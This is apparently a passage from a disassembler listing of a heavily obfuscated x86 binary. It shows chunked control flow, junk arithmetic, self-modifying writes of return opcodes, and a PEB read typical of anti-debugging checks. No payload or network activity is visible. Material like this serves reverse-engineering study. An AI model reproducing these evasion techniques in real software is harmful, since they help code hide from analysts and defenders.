		mov	edx, [ebp+0]
		jmp	loc_43C297
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_445FDD:				; CODE XREF: sub_44B624:loc_44C774j
		and	esi, 8FDEAD12h
		not	ebp
		jmp	loc_441963
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
		call	sub_44F6A9

loc_445FEF:				; CODE XREF: dviuq5id:00459904j
		jmp	loc_447906
; ---------------------------------------------------------------------------

loc_445FF4:				; CODE XREF: dviuq5id:00454969j
		jmp	loc_439E21
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_361. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E810

loc_445FFA:				; CODE XREF: sub_44E810:loc_44E825j
		jmp	loc_442F12
; END OF FUNCTION CHUNK	FOR sub_44E810
; ---------------------------------------------------------------------------

loc_445FFF:				; CODE XREF: dviuq5id:0043AD7Bj
		jmp	loc_445669

; =============== S U B	R O U T	I N E =======================================



sub_446004	proc near		; CODE XREF: sub_446181-2A31p
					; dviuq5id:0044F1D2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004418F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442342 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444D67 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044D78C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E1D3 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00453C89 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0045746C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0045813D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00459AC8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00459B15 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0045A12B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0045A167 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_451D52

loc_44600D:				; CODE XREF: sub_456253:loc_446600j
					; sub_44F88A+8j ...
		js	loc_453C89
		lea	eax, [ebp-20h]
		jmp	loc_45813D
sub_446004	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D5EB

loc_44601B:				; CODE XREF: sub_44D5EB:loc_43A587j
		push	offset loc_4516EF
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_44D5EB
; ---------------------------------------------------------------------------
		cmp	ebx, 271FC1BFh
		jmp	loc_454750
; ---------------------------------------------------------------------------

loc_446030:				; CODE XREF: dviuq5id:loc_43F603j
		mov	eax, 934299CDh
		push	edx
		push	0D465BE01h
		xchg	eax, [esp]
		jmp	loc_44F3E3
; ---------------------------------------------------------------------------
		mov	ebp, edx
		jmp	sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_44604A:				; CODE XREF: sub_442BFE:loc_4413ADj
		xchg	edi, [esp+4+var_4]
		mov	edx, eax
		call	sub_45A04B

loc_446054:				; CODE XREF: sub_454362:loc_43D1D7j
		call	sub_441C54
		or	eax, eax
		jnz	loc_43A538
		jmp	loc_4560BF
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_446066:				; CODE XREF: sub_43ED10+4407j
		jno	loc_440A13
		test	ebp, 8CE89F69h
		jmp	loc_455BB9
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45944F

loc_446077:				; CODE XREF: sub_45944F:loc_4506A8j
		call	sub_44F9FB
; END OF FUNCTION CHUNK	FOR sub_45944F
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_44607C:				; CODE XREF: sub_44B99E-9518j
		jz	loc_444333
		jmp	loc_44E520
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
		jmp	ds:off_41D174
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D767

loc_44608D:				; CODE XREF: sub_43D767+8F10j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43D767
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_446092:				; CODE XREF: sub_44460F-619Bj
		jmp	loc_444307
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

loc_446097:				; CODE XREF: dviuq5id:0043BA20j
		jmp	loc_44FBE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453548

loc_44609C:				; CODE XREF: sub_453548-B7EBj
					; sub_43C597:loc_458522j ...
		pop	edx
		jz	loc_447D62
		mov	eax, [esp+0]
		push	edx
		call	sub_44FD8E
		push	960620A4h
		jmp	loc_44CABA
; END OF FUNCTION CHUNK	FOR sub_453548
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4460B6:				; CODE XREF: sub_4525D0:loc_43C2EFj
		jge	loc_448937

loc_4460BC:				; CODE XREF: sub_4525D0:loc_4402EBj
		lea	eax, [ebp-2BBh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_452033
		jmp	loc_449412
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_4460D3:				; CODE XREF: dviuq5id:004578C9j
		and	edx, esi

; =============== S U B	R O U T	I N E =======================================



sub_4460D5	proc near		; CODE XREF: sub_4512BC+6p

; FUNCTION CHUNK AT 00444312 SIZE 00000011 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		jmp	loc_444312
sub_4460D5	endp

; ---------------------------------------------------------------------------

loc_4460DF:				; CODE XREF: dviuq5id:0045991Ej
		shl	ecx, 5
		mov	ecx, esi
		jmp	loc_43D00E
; ---------------------------------------------------------------------------

locret_4460E9:				; CODE XREF: dviuq5id:00452661j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_4460EA:				; CODE XREF: sub_4408FF+3BFBj
		jmp	loc_45A337
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_4460EF:				; CODE XREF: sub_446544:loc_43B602j
		jmp	loc_44C79A
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------

loc_4460F4:				; CODE XREF: dviuq5id:loc_450DC0j
		xor	edi, 53981C1Ch
		xor	edi, eax
		shr	ebx, 17h
		jmp	loc_445BC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_446104:				; CODE XREF: sub_43C3D8-AA6j
		mov	[ebp-20h], eax

loc_446107:				; CODE XREF: sub_43C3D8+624Dj
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_4586E8

loc_446113:				; CODE XREF: dviuq5id:0044261Dj
		jb	loc_448A5E
		jmp	loc_44D953
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447EE3

loc_44611E:				; CODE XREF: sub_447EE3:loc_440924j
					; dviuq5id:00440938j
		add	eax, 75F6F501h
		sub	eax, 815910C1h
		add	eax, 24DD8413h
		popf
		xchg	eax, [esp-4+arg_0]
		jmp	loc_4543A1
; END OF FUNCTION CHUNK	FOR sub_447EE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_446139:				; CODE XREF: sub_44BD0B:loc_446B74j
		sub	ecx, 0AC341C87h
		jnz	loc_45561D

loc_446145:				; CODE XREF: sub_44460F+DFAEj
		jmp	loc_44A5E5
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------

loc_44614A:				; CODE XREF: dviuq5id:0044ADE6j
		jmp	nullsub_12
; ---------------------------------------------------------------------------
		and	ebx, ecx
		mov	edi, 60504EF2h
		jmp	loc_45561D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C085

loc_44615B:				; CODE XREF: sub_44C085+Bj
		push	89F5DED4h
		pop	edi
		and	edi, 49A2A4F0h
		add	edi, 0AD70AF56h
		test	edi, 80000h
		jmp	loc_441793
; END OF FUNCTION CHUNK	FOR sub_44C085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BB7A

loc_446178:				; CODE XREF: sub_43BB7A:loc_45055Aj
		cdq
		mov	[ebp+0], ecx

loc_44617C:				; CODE XREF: dviuq5id:loc_44044Bj
		jmp	loc_44F9D4
; END OF FUNCTION CHUNK	FOR sub_43BB7A

; =============== S U B	R O U T	I N E =======================================



sub_446181	proc near		; CODE XREF: sub_443A55p
					; dviuq5id:loc_44404Cj	...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439E66 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043A232 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043A4FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AE46 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C0D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EBBF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440505 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044239F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044374D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00443C29 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444C21 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448AAB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044984A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449C6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E8E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450604 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004510B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451D75 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0045323E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456D01 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00456D78 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00457DB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459F7A SIZE 0000001E BYTES

		pop	edx
		jno	loc_45323E
		mov	eax, [esp+0]
		push	ecx
		jmp	loc_439E66
sub_446181	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	ebp, 0A682D353h
		jmp	sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B660

loc_44619C:				; CODE XREF: sub_43B660:loc_43CB3Dj
		jb	loc_43E865
		mov	eax, [esp-4+arg_0]
		push	edx

loc_4461A6:				; CODE XREF: dviuq5id:0043AD31j
		call	sub_45327C
		push	2966618Fh
		pop	eax
		and	eax, 6A8FA81Fh
		jmp	loc_442226
; END OF FUNCTION CHUNK	FOR sub_43B660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_4461BC:				; CODE XREF: sub_44A4E3+10j
		pop	ebp
		mov	eax, ds:dword_457D3C
		or	eax, eax
		jnz	loc_4427EC
		jmp	loc_439DB9
; END OF FUNCTION CHUNK	FOR sub_44A4E3

; =============== S U B	R O U T	I N E =======================================



sub_4461D0	proc near		; CODE XREF: sub_451FE0:loc_446422j
					; sub_43FDFB+86A8p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D1A8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445D3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449753 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00452B00 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00456F8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458B35 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		push	0C6ADFA73h

loc_4461DA:				; CODE XREF: dviuq5id:00446CB9j
		pop	edx
		or	edx, 0EB6B33h
		xor	edx, 581F5681h
		jmp	loc_43D1A8
sub_4461D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E0C

loc_4461EC:				; CODE XREF: sub_439E0C+1E4E6j
		xor	edi, 0AB43F073h
		xchg	esi, ebp
		jmp	loc_449F48
; END OF FUNCTION CHUNK	FOR sub_439E0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_4461F9:				; CODE XREF: sub_454267+57j
		and	eax, 0FFh
		mov	eax, ds:dword_447214[eax*4]
		mov	[ebp-8], eax

loc_446208:				; CODE XREF: sub_45799F-1DBBEj
					; sub_45799F:loc_4596F0j
		jnb	loc_43D736
		test	byte ptr [ebp-8], 2
		jmp	loc_439149
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------

loc_446217:				; CODE XREF: dviuq5id:00444D24j
					; dviuq5id:loc_44D69Aj
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_44621A:				; CODE XREF: sub_457566-4530j
		jmp	loc_44FA08
; END OF FUNCTION CHUNK	FOR sub_457566
; ---------------------------------------------------------------------------

loc_44621F:				; CODE XREF: dviuq5id:loc_43A409j
		push	0EC67C796h
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		jmp	loc_43D8F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA06

loc_44622F:				; CODE XREF: sub_44CA06+7497j
		lea	eax, loc_43FAC1
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E87A
; END OF FUNCTION CHUNK	FOR sub_44CA06

; =============== S U B	R O U T	I N E =======================================



sub_44623D	proc near		; CODE XREF: sub_40A15D+17Fp
					; sub_40A15D+2A3p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043EE84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442385 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00446AB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446D53 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044E2B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EB33 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044ED3A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044F0F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F29C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00453F00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045868A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00458EE5 SIZE 00000017 BYTES

		push	eax
		push	0D6C0E993h
		jmp	loc_45868A
sub_44623D	endp

; ---------------------------------------------------------------------------

loc_446248:				; CODE XREF: dviuq5id:00443493j
					; dviuq5id:loc_458986j
		push	42569C0Dh
		pop	eax
		add	eax, 0F25CACB1h
		sub	eax, ds:4000F0h
		and	eax, 0CDB85B38h
		sub	eax, 0E3C183B7h
		add	eax, 0D00BC70Ch
		call	sub_4390B5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_299. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_501. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_446273:				; CODE XREF: sub_441DDA+169C9j
		jmp	loc_44E587
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444440

loc_446278:				; CODE XREF: sub_444440+7j
		jmp	sub_44F0C2
; END OF FUNCTION CHUNK	FOR sub_444440
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451A79

loc_44627D:				; CODE XREF: sub_451A79:loc_443634j
		jl	loc_45986B
; END OF FUNCTION CHUNK	FOR sub_451A79
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_446283:				; CODE XREF: sub_44CFBC+BBA9j
		jmp	loc_44E43C
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
		cmp	eax, 0E4210176h
		jmp	loc_43B51B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F9EE

loc_446293:				; CODE XREF: sub_44F9EE+2746j
		call	sub_448064
		test	edi, edx
		jmp	loc_45A226
; END OF FUNCTION CHUNK	FOR sub_44F9EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_44629F:				; CODE XREF: sub_457566+9j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		jmp	loc_44B3B4
; END OF FUNCTION CHUNK	FOR sub_457566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_4462B0:				; CODE XREF: sub_441DDA+11C9Bj
		jz	sub_44648C
		jmp	loc_43F48A
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_4462BB:				; CODE XREF: dviuq5id:0045824Dj
		add	ebx, ebp
		add	ebx, 2C13B013h
		mov	ebx, [ebx]
		xchg	ebx, [esp]
		call	sub_45A67C

loc_4462CD:				; DATA XREF: dviuq5id:00453AC9o
		mov	ds:dword_41D168, eax
		lea	eax, nullsub_510
		mov	byte ptr [eax],	0C3h
		jmp	loc_456A93

; =============== S U B	R O U T	I N E =======================================



sub_4462E1	proc near		; CODE XREF: sub_405C7A+1Bp
					; sub_405C7A+45p ...
		call	sub_4462EC
		jmp	ds:off_41D16C
sub_4462E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4462EC	proc near		; CODE XREF: sub_453916-F787j
					; sub_4462E1p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D317 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004531EF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0045417C SIZE 00000008 BYTES

		jz	loc_45417C
		xchg	ebx, [esp+0]
		mov	edx, ebx
		jmp	loc_4531EF
sub_4462EC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edi
		jmp	sub_44D45B
; ---------------------------------------------------------------------------

loc_446302:				; CODE XREF: dviuq5id:004464B6j
		push	edx
		push	eax
		push	64A39239h
		add	eax, 2721B0CEh
		jmp	loc_43AC50

; =============== S U B	R O U T	I N E =======================================



sub_446314	proc near		; CODE XREF: dviuq5id:00442014j
					; sub_44A203-13F4p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004487DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BF23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D3FB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0045A561 SIZE 00000012 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	dword ptr [eax], offset	dword_474244
		push	0
		lea	eax, [ebp-20h]
		push	eax
		jmp	loc_44BF23
sub_446314	endp

; ---------------------------------------------------------------------------

loc_446329:				; CODE XREF: dviuq5id:00453B5Fj
		sbb	eax, ebx
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_44632B:				; CODE XREF: sub_44646F:loc_441FB7j
		xor	eax, 37ADDBDAh
		sub	eax, 0E44E14C6h
		xor	eax, 0B55E681Ch
		add	eax, ebp
		jmp	loc_451CDE
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_446344:				; CODE XREF: sub_44846C+8299j
		jg	loc_44DD23

loc_44634A:				; CODE XREF: sub_44846C:loc_4506F7j
		rol	ecx, 17h
		and	ecx, 0A7E01BAAh
		xor	ecx, 0B5BB6948h
		xor	eax, ecx
		jmp	loc_43D0CB
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
		and	ecx, 0F2EEFFDDh
		jmp	sub_44F787
; ---------------------------------------------------------------------------

loc_44636B:				; DATA XREF: dviuq5id:00450BE3o
		push	esi
		push	42B13A46h
		pop	esi
		and	esi, 10834396h
		add	esi, 0CAFFF7FEh
		and	esi, 0D15003FEh

loc_446384:				; CODE XREF: dviuq5id:00459BDFj
		jmp	loc_45A51F
; ---------------------------------------------------------------------------
		test	al, al
		jz	locret_4543A0
		jmp	loc_44D684
; ---------------------------------------------------------------------------
		and	edx, 3ECF63E8h
		jmp	loc_448B39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4463A1:				; CODE XREF: sub_44EAC4-F07Bj
		jp	loc_44B9E4
		jmp	loc_4399AF
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_481. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_4463AD:				; CODE XREF: sub_45844D+Bj
		jmp	loc_4529E3
; END OF FUNCTION CHUNK	FOR sub_45844D
; ---------------------------------------------------------------------------

loc_4463B2:				; CODE XREF: dviuq5id:0044EC8Aj
		jmp	loc_459043

; =============== S U B	R O U T	I N E =======================================



sub_4463B7	proc near		; CODE XREF: sub_44C9E4:loc_43C808j
					; sub_440E99:loc_43C80Dj ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B46E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BDD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C219 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441A28 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004422DE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442DF4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443F51 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004448D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445F63 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0045010D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450F80 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452FF2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00453CB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00453FF3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00455DA1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004570D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457263 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00457E71 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004582C4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0045872C SIZE 00000014 BYTES

		call	sub_454094

loc_4463BC:				; CODE XREF: sub_4497C3+DA2Bj
		jmp	loc_442DF4
sub_4463B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44547C

loc_4463C1:				; CODE XREF: sub_44547C+7j
		jmp	nullsub_226
; END OF FUNCTION CHUNK	FOR sub_44547C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_4463C6:				; CODE XREF: sub_451EEC-D57Fj
		jmp	loc_43CC8C
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_4463CB:				; CODE XREF: sub_43F285:loc_441627j
		jz	loc_43F4BE
		jmp	loc_451D0F
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp]
		mov	ebp, esp
		jmp	loc_43B0BC
; ---------------------------------------------------------------------------

loc_4463E3:				; DATA XREF: sub_439259+6o
		mov	eax, ds:dword_451910
		or	eax, eax
		jnz	loc_44B8B5
		jmp	loc_43C8E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4534AA

loc_4463F6:				; CODE XREF: sub_4534AA:loc_458296j
					; sub_4534AA:loc_45A268j
		add	eax, edx
		xor	eax, ebx
		add	eax, ecx
		xor	eax, esi
		add	eax, edi
; END OF FUNCTION CHUNK	FOR sub_4534AA
; START	OF FUNCTION CHUNK FOR sub_44DB43

loc_446400:				; CODE XREF: sub_44DB43+8j
		add	al, ah
		jmp	loc_43CD31
; END OF FUNCTION CHUNK	FOR sub_44DB43
; ---------------------------------------------------------------------------

loc_446407:				; CODE XREF: dviuq5id:0043EB0Cj
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_43CA9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_446415:				; CODE XREF: sub_4525D0-1741Fj
		test	ebx, esi
		jmp	loc_43F195
; END OF FUNCTION CHUNK	FOR sub_4525D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_44641D:				; CODE XREF: sub_4543C5-12F41j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451FE0

loc_446422:				; CODE XREF: sub_451FE0-19E1j
		jnp	sub_4461D0
		cmp	ebp, 299FED19h
		jmp	loc_44EE6E
; END OF FUNCTION CHUNK	FOR sub_451FE0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_446434:				; CODE XREF: sub_4492F0:loc_452F5Fj
		jmp	loc_450421
; END OF FUNCTION CHUNK	FOR sub_4492F0

; =============== S U B	R O U T	I N E =======================================



sub_446439	proc near		; CODE XREF: dviuq5id:00453178p

; FUNCTION CHUNK AT 00446861 SIZE 00000006 BYTES

		push	ebx
		push	ecx
		mov	eax, large fs:30h
		jmp	loc_446861
sub_446439	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_446447:				; CODE XREF: dviuq5id:loc_43CF44j
		lea	eax, nullsub_478
		mov	byte ptr [eax],	0C3h
		jmp	loc_446CB4

; =============== S U B	R O U T	I N E =======================================



sub_446455	proc near		; CODE XREF: sub_40C307+2A6p
					; sub_40C307+318p ...
		call	sub_446465
		jmp	ds:off_41D12C
sub_446455	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_446460:				; CODE XREF: sub_4393C3+1F57Bj
		jmp	loc_45699F
; END OF FUNCTION CHUNK	FOR sub_4393C3

; =============== S U B	R O U T	I N E =======================================



sub_446465	proc near		; CODE XREF: sub_44FCBC:loc_43ECCDj
					; sub_446455p ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CACF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043F447 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004400F8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440D30 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440E4F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00443858 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449639 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00449AF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F97D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044FE23 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00452EBB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00453E38 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0045447A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A0EE SIZE 00000005 BYTES

		xchg	ebp, [esp+0]
		mov	edx, ebp
		jmp	loc_43CACF
sub_446465	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44646F	proc near		; DATA XREF: sub_43C46D+BEB9o

; FUNCTION CHUNK AT 00439271 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A89B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AC96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CD6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CE05 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043D749 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E8B2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00441BE1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00441BFC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00441FB7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004420F1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004443C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444A36 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004452D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044632B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00448168 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004485D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448980 SIZE 00000005 BYTES
